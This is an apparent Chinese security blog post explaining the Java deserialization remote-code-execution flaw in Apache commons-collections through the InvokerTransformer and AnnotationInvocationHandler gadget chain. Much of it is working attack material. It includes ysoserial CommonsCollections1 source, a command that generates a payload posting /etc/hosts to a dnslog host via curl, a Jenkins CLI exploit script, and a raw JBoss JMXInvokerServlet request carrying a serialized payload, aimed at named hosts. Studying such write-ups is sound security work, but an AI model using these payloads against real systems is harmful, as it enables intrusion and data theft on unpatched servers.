Java反序列化时对象注入可以造成代码执行漏洞

0x00 背景


这几天在zone看到了有人提及了有关于common-collections包的RCE漏洞,并且http://zone.wooyun.org/content/23849给出了具体的原理。作为一个业余的安全研究人员,除了会利用之外,还可以探究一下背后的原理。

0x01 原理


Java反序列化导致的漏洞原理上和PHP反序列一样,也是由于用户的输入可以控制我们传入的对象。如果服务端程序没有对用户可控的序列化代码进行校验而是直接进行反序列化使用,并且程序中运行一些比较危险的逻辑(如eval,登录验证等),就会触发一些意想不到的漏洞。实际上,这并不是什么新的问题了,有关于Java中的反序列化导致的漏洞可以看https://speakerdeck.com/player/2630612322be4a2696a31775f2ed005d的slide了解一下。

而这次,主要探讨一下在特殊环境下,反序列化能否达到远程代码执行(RCE)。

参考文章3中给出了exp,并且在zone上有了很多的讨论,配合github上的jar文件生成一个序列化字符串,然后发送给漏洞站点就能触发。关于利用,并不是本文的重点。

问题从common-collections工具的各个transformer说起,这些transform主要用于对Map的键值进行转化。

1

其中,国外研究人员发现类InvokerTransformer中的transform方法允许通过反射执行参数对象的某个方法,并返回执行结果。

1

我们来写个代码测试一下:

@SuppressWarnings({"rawtypes", "unchecked"})
public class VulTest {
    public static void main(String[] args) {
        Transformer transform = new InvokerTransformer(
                "append",
                new Class[]{String.class},
                new Object[]{"exploitcat?"});
        Object newObject = transform.transform(new StringBuffer("your name is ")) ;
        System.out.println(newObject);    
 
    }
}

这里创建了一个InvokerTransformer对象,并且调用了它的transform,参数是个StringBuilder对象,执行后会输出一个字符串:

your name is exploitcat?
可以看到,通过transform方法里的反射,我们成功调用了StringBuilder中的append方法并返回结果,虽然过程有些曲折。这样,我们离RCE又近了一步,那么谁会去调用这些transformer对象的transform方法呢?

调用这些transform方法的是一个叫TransformedMap的类,这个类可以当做原生Map类的一个包装类(通过TransformedMap.decorate方法)。进入这个类一探究竟:

1

这里的decorate方法就是对外创建TransformedMap对象的方法。在代码中我们可以清晰找到transform方法是如何被调用的。

1

以及entry对象调用setValue时,执行的checkSetValue

1

为了搞清楚为啥在setValue的时候发生了什么,我们来看代码:

public class TransformTest {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, 
                    new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers) ;
        Map innerMap = new HashMap() ;
        innerMap.put("name", "hello") ;
        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
 
        Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;
        elEntry.setValue("hello") ;
    }
}

代码中,我们将我们要执行的多行代码分散到各个transformer里,使用InvokeTransformer类来执行我们的方法。接着用TransformedMap来执行transfom方法触发代码。

这里的原生Map用来被TransformedMap包装,然后map的entry对象调用了setValue方法。在java环境中执行上面的代码,最后会弹出计算器:

1

到目前为止,我们找了一些创造RCE的条件:

(1)使用了InvokeTransformer的对象,并在transform方法里执行代码;
(2)使用TransformedMap通过执行setValue方法来触发transform方法。

对于一个“不讲道理”的RCE,显然需要另一个好用的类来同时满足上面两点,并且在readObject里进行调用。readObject方法是java的序列化对象(实现了Serializable接口)中首先会调用的方法。

0x02 利用方法


这里配合我们执行代码的类就是AnnotationInvocationHandler,我们来看看readObject方法里面有什么逻辑:

1

可以看到,首先调用了defaultReadObject来获取了类属性typememberValues,找到定义,这两个东西如下:

1

readObject方法中,类型检查之前就触发了我们对象的方法。从memberValues参数中获取了entrysetValue,这样,虽然可能会有类型错误,但是代码却执行了。符合了之前我们关于RCE的构想。所以看懂exp就变得很简单。exp做了一件事情,就是返回一个序列化的handler对象,对象里包含了我们的transformer对象数组,用来装载我们要执行的代码。

创建handler的方法如下:

1

利用反射,获取到AnnotationInvocationHandler的构造函数,并传入了我们的map,getInstance返回一个handler对象,完成了所要求的一切,之后,找个使用可控序列化的地方发送这个序列化handler即可执行我们的代码。

我还是把exp贴上来吧,这段代码就是构造我们的handler对象:

1

首先exp里构造了transformer对象数组并用LazyMap进行包装,包装后装到一个handler对象里并返回这个handler

0x00 演示



有人写了一个执行命令的payload 生成器,java反射调用Runtime.getRunTime.exec 执行命令,应该也可以改成写文件之类的(未验证)。

@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
	
	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				//Runtime.getRuntime().exec();
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
		
		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
		
		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
		

				
		return handler;
	}
	
	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections1.class, args);
	}
}

先生成payload

java -jar ysoserial.jar CommonsCollections1 "curl -d @/etc/hosts abc.0day5.dnslog.info:80" >/tmp/payload

实际只是测试了两个环境:jboss跟jenkins
首先是JavaUnserializeExploits里面的代码

#!/usr/bin/python

#usage: ./jenkins.py host port /path/to/payload
import socket
import sys
import requests
import base64

host = sys.argv[1]
port = sys.argv[2]

#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])

#Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
#print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
#print 'sending "%s"' % headers
sock.send(headers)

data = sock.recv(1024)
#print >>sys.stderr, 'received "%s"' % data

data = sock.recv(1024)
#print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()
payload_b64 = base64.b64encode(payloadObj)

#payload1 = base64.b64encode(payload)
#print payload1
#payload2 = base64.b64decode(payload)
#print 'sending payload...'

sock.send(payload)

执行我们的命令

python jenkins.py ci.0day5.com 80 /tmp/payload

然去cloudeye查看11

2.jboss 也是一样的,先生成payload。然后直接POST payoad即可

POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 246c1c5fd78a8ce95.jie.sangebaimao.com
Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length: 1419

¬ísr2sun.reflect.annotation.AnnotationInvocationHandlerUÊõË~¥LmemberValuestLjava/util/Map;LtypetLjava/lang/Class;xps}
java.util.Mapxrjava.lang.reflect.Proxyá'Ú ÌCËLht%Ljava/lang/reflect/InvocationHandler;xpsq~sr*org.apache.commons.collections.map.LazyMapn唂žy”Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0Ǘì(z—[
iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;½V*ñØ4™xpsr;org.apache.commons.collections.functors.ConstantTransformerXvA±”L	iConstanttLjava/lang/Object;xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer‡èÿk{|Î8[iArgst[Ljava/lang/Object;LiMethodNametLjava/lang/String;[iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;ÎXŸs)lxpt
getRuntimeur[Ljava.lang.Class;«×®ËÍZ™xpt	getMethoduq~vrjava.lang.String ð¤8z;³Bxpvq~sq~uq~puq~tinvokeuq~vrjava.lang.Objectxpvq~sq~ur[Ljava.lang.String;­ÒVçé{Gxptcurl abc.333d61.dnslog.infotexecuq~q~#sq~srjava.lang.Integerâ ¤÷‡8Ivaluexrjava.lang.Number†¬•”à‹xpsrjava.util.HashMapÚÁÃ`ÑF
loadFactorI	thresholdxp?@wxxvrjava.lang.Overridexpq~:

11
11
当然也可以使用curl去提交

curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://246c1c5fd78a8ce95.jie.sangebaimao.com/invoker/JMXInvokerServlet

其他的并没有测试

PS~对JAVA其实还是知道不少的,毕竟我还是七窍通了六窍

0x04 参考资料



http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#thevulnerability
https://github.com/foxglovesec/JavaUnserializeExploits
https://github.com/frohoff/ysoserial
http://drops.wooyun.org/papers/10467

发表评论